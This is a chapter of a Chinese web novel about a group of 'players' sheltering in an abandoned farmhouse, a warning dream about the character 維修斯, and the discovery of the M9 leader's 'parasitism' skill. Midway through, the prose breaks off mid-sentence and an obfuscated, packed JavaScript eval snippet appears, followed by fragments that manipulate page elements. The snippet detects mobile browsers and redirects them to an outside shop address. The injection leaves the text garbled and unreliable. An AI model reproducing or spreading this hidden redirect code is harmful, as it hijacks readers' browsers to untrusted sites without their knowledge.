22. 挑逗

作品:《我有一座伊甸园

    见艾也没跟上,竹续折返回去:“怎么了?”


    她还没走到坑边,底下那点亮光已渐渐隐去,好像那只是艾也的一场错觉。


    艾也从坑底收回视线,在竹续往坑里探头时捂住她的眼:“没有,看错了。”


    “好吧。”两人一起离开,跟上周、季他们。


    竹续选择在一间废弃的农舍里安顿下来。


    北区的房子虽用料廉价,但都是自建房,结构比西区结实,屋顶不漏风,平层出入也比较方便。


    季澜和周和蜷在角落里,共用一张不知道谁留下的破毯子。周和已经睡着了,攥着季澜衣摆的手指终于松开,但掌心还贴着那块布料,像是怕她突然消失。


    季澜睁着眼,手按在周和肩上。


    “你不睡吗?”竹续问,从背包里翻出来点吃食,递过去:“多少让神经放松一下吧。”


    季澜摇摇头,没接。


    “我习惯了。”她看着睡得并不安稳的周和,语气不经意间放缓,但腰板挺得更直了,“他半夜总会醒,一醒就很难再入睡。”


    在周和面前,季澜总以保护者姿态示人,哪怕她与周和同属性,哪怕如今他们是两个个体。


    季澜仰起头,看向神态自若的竹续:“你不怕吗?”


    竹续:“怕啥?”


    “系统说不让我们暴露自己是玩家。”


    “怕吧……”竹续另外撕开一支营养膏,嘴上说着怕,语气却吊儿郎当,“我这么弱,随便来个人都能把我杀了。”


    季澜噎住。


    “那你还——”


    竹续打断她:“我只是觉得什么事都跟着既定规则走,会非常没意思。”毕竟她连打游戏都不想看攻略,非要自己探索,啃一嘴泥也不肯罢休。


    ……


    天愈来愈暗,艾也站在门口,望着外面漆黑的平原。


    竹续走过去,递给他一瓶水:“大半夜不睡搁这儿做门神?”


    “听不懂你说话。”艾也接过水,没喝,“幻形师不需要太多睡眠。”


    “那你之前在医院躺那么久?”


    “那是受伤。”


    “说起这个我又想问了,”竹续靠着门框,跟他并肩站着,“你到底为什么会受那么严重的伤?别告诉我是见义勇为,那栋破医院快倒塌了你用身体给它顶回去——”


    说到一半,她突然住了口,因为艾也看过来的眼神实在太耐人寻味了,有惊讶,有审视,甚至还带着一丢丢的……破防?


    艾也眼神幽幽,像是在问“你为什么会知道这种事”。


    竹续吞了下口水,“真猜中了?”


    她第六感准成这样?


    “好吧好吧。”竹续拍拍手,掸去不存在的灰尘,偏过脸把视线从艾也脸上移开,移到一半忽然顿住,钉向艾也脖颈上的一根细绳。


    “那是吊坠吗?”她问。


    艾也的回答不咸不淡:“嗯。”


    看到那根吊绳,竹续想起一件事,大喇喇掏出鸟译机装在耳朵上,“差点忘了,得给煤球通个信,让我看看今天的社区情况。”


    “你——”


    竹续看过去:“怎么?”


    “……你怎么看?”看她一脸无所谓的样子,密密麻麻的不适从艾也脊背泛起,心里总有种不好的预感。


    竹续指了指耳朵上的器械,“鸟译机啊。”语气平常得像是在说“今天天气真好”。


    “不光能通信,还可以实时视频呢。”说着说着她就笑了,“正好让我看看那小家伙是怎么打理社区的……”


    “噼啪。”


    竹续转身,“什么东西坏了?”


    艾也面不改色地踩住脚下报废的某个小物件,“你听错了。”


    “行吧。”继续通信,但一直听到滋啦滋啦的电流音。


    竹续把鸟译机拿下来,奇怪道:“信号不好吗?”


    艾也:“应该是的。”


    “那就没办法了。”竹续只好作罢,“结果不能强求。”


    艾也默默点头,很赞同。


    “阿尔法,能追踪到维修斯吗?”竹续在脑内问。


    “不行,好多股能量混杂着,把她的给冲散了。”右眼看到一个焦躁的粉色小娃娃,“要不你试着问一下旁边这位?幻形师用频率感知找人的效率可比我分析能量来得快。”


    问艾也?


    竹续侧过脸看他。


    夜色里他的轮廓很淡,只有那双眼睛亮得不像话。


    她想起第一次见他时,他裹成木乃伊躺在地上,全身粉碎性骨折,只露出一双大海一样的眼睛,再后来他出现在废品站和星舰上,帮她干活,把她按在驾驶座……再再后来他出现在梦里,帮她按住那两个怪物。


    再后来就是现在。他站在北区的废弃农舍门口,没有要走的意思。


    “你跟着我,到底图什么?”竹续问,眼含笑意,“我没办法给你很多钱哦。”


    艾也想了想,给出的答案是“或许能保命”。


    竹续难得被噎,很想问“您到底从哪看出来的”。


    她张了张嘴,一言难尽,最后她只是“哦”了一声,把水从他手里抽回来。


    “不是给我了吗?”


    “你不是不喝吗。”她转身往回走,走了两步又停下来,头也不回地说:“别站门口了,进来吧。虽然你不需要睡,但也不需要像根桩子一样杵在那儿。”


    身后传来很轻的脚步声。


    *


    农舍里没有床,只有一堆干草。


    竹续躺上去的时候硌得后背疼,但她太累了,疼也挡不住困意。她彻底睡死之前,季澜仍旧睁着眼,目光炯炯,维持着原来那个姿势一动不动。


    竹续闭上眼,意识坠入黑暗。


    梦里她又回到了那间手术室,消毒水的气味、仪器的滴答声……还有头顶那盏刺眼的白灯。


    她躺在手术台上,胸口被打开,鲜红的心脏毫无规律地跳动,却闷得喘不上气。


    竹续想开口说话,嘴唇却像被缝住了一样。


    然后她听见有人在叫她。


    “竹续。”


    不是医生的声音,也不是父母的声音,是另一个——很陌生,又很熟悉。


    她睁开眼。


    手术室不见了。她站在一片旷野上,头顶是陌生的星空,面前站着一个女人,穿着K362的军装,暗红色的长发被风吹起。


    “维修斯?”竹续愣住了,“你怎么——”


    “你不该来北区。”维修斯打断她,声音冷得像西区的雪,“回去。”


    “我找你有事,你母亲她……”


    “回去。”维修斯重复了一遍,语气更沉了,“这里不是你该来的地方。”


    竹续皱眉,往前迈了一步。维修斯却往后退了一步,像是不想让她靠近。竹续注意到她的眼睛——那双一向平静的眼睛里,有什么东西在翻涌,不是愤怒,是恐惧,甚至可以说是恳求。


    竹续头一次在维修斯脸上看到这幅表情,下意识刹住脚步:“……你怎么了?”


    维修斯没回答,她站在那里,军装笔挺,原野的风将她的长发吹到身后,把她整个人吹成一面不败的旗,但竹续看见她的手在发抖。


    “回去。”维修斯第三次说,声音比之前轻了,“求你……别管我了。”


    “你会死的,你们都会……”她的声音连通身影越飘越远,竹续想追,脚下却像生了根。她只能站在原地,看着维修斯渐渐远去,在视野里越来越小,最后变成一个暗红色的点,消失在漫天星光里。


    在维修斯消失的前一刻,一滴透明晶莹的水珠从她离开的方向飞来,打在竹续鼻侧。


    *


    “竹续。”


    她猛地睁开眼,第一反应是摸到鼻侧,居然真感受到残留的湿意。


    艾也蹲在她面前,一只手按在她肩上。她的后背全


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357496|199448||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是冷汗,心跳快得像要从胸腔里蹦出来。


    “你做噩梦了。”艾也说。


    竹续喘着气,花了几秒钟才分清梦境和现实。


    她抹了一把脸上的汗,哑着嗓子问:“我喊出声了?喊了多久?”


    “没多久。”艾也松开手,“我听见你在叫维修斯的名字。”


    竹续没说话。


    她坐起来,发现周和还在睡,蜷在角落里一动不动,季澜还是那个姿势,连角度都不带偏的,精准得像一座雕塑。


    季澜似乎没听见他们说话,连一个眼神都没递过来,好像封闭住了。


    基于她的状态,竹续猜测在周和不身处险境中时,季澜会像关机了一样,不会对外界做出反应。


    “几点了?”竹续问。


    艾也:“凌晨三点。”


    竹续揉了揉太阳穴。


    她梦见维修斯了,一个处于非常脆弱状态的维修斯,恐怕维修斯在梦里的状态也是她的现状。


    “你见到她了。”艾也忽然说。


    竹续抬头看他。他的表情很平静,但那双眼睛亮得不太正常。


    “你又进到我梦里了?”


    艾也不置可否。


    竹续沉默了一会儿,然后说:“在梦里。她让我回去。”


    艾也:“你会吗?”


    竹续:“不会。”


    艾也点点头,像是早就知道答案。他站起来,走回门口,继续望着外面漆黑的平原。


    竹续坐在干草堆上,看着他的背影。过了很久,她忽然说:“对于你们这样的存在来说,有没有什么人是怎么都放不下的?”


    艾也没回头。但她看见他的肩膀动了一下,那个动作从背后来看像是在笑,又像是在叹气。


    “有。”他说。


    “谁?”大概是刚被惊醒脑子还不清楚,竹续在他声音刚落时就追问。


    然后她听见他的声音,很轻:


    “一个不该出现在这里的人。”


    *


    天快亮的时候,竹续终于又睡着了。这一次她没有做梦。


    醒来时,季澜已经起来了,正蹲在门口用藤蔓编什么东西。周和坐在她旁边,手里攥着那支营养膏,时不时看一眼,确认还在。


    竹续走过去,发现季澜编的是一只鸟。歪歪扭扭的,但能看出来是鸟。


    “编得不错。”竹续说。


    季澜抬头看她,眼睛里还有昨晚没散尽的红血丝:“我以前在M9的时候,经常编这个。”她说,“那时候还有心情做这些事。”


    竹续蹲下来,跟她平视:“M9的事,你还想跟我说说吗?”


    季澜的手停了一下。她低下头,继续编那只鸟,声音很轻:“那个人……M9的首领,她以前不是那样的,就突然变了。我猜,她已经不是原来的首领了。”


    难道是身份调包……还是别的什么?


    竹续试图扒出更多细节:“容貌什么的有变吗?”


    “没有,只有性格。但能看出来确实不是同一个人了,就跟——”季澜停下编鸟的动作,抬起头,周和因为和她对上视线笑得正开怀。


    季澜喃喃道:“就跟我和周和曾经一样,两个人格共享一个身体。”说完,她继续给周和编鸟,没注意到竹续逐渐发亮的眼睛。


    “两个人格共享一个身体……”竹续重复了一遍,福至心灵一般,猛地站起身。


    “阿尔法。”她喊道,开始下达命令,“从之前论坛101L的发言和目前已知的M9首领信息入手,着重分析,找到和两者有关的能量流。”


    【明白】


    中心恒星枢寂渐升,暖黄的光照亮整片平原,空气里全是催熟过的稷麦的甜腻。


    竹续捂住心口,皮肉之下心率快得像是心脏要跳出胸膛。


    “我知道了。”她说。


    “M9那名玩家能当上首领,在于她的技能是——【寄生】。”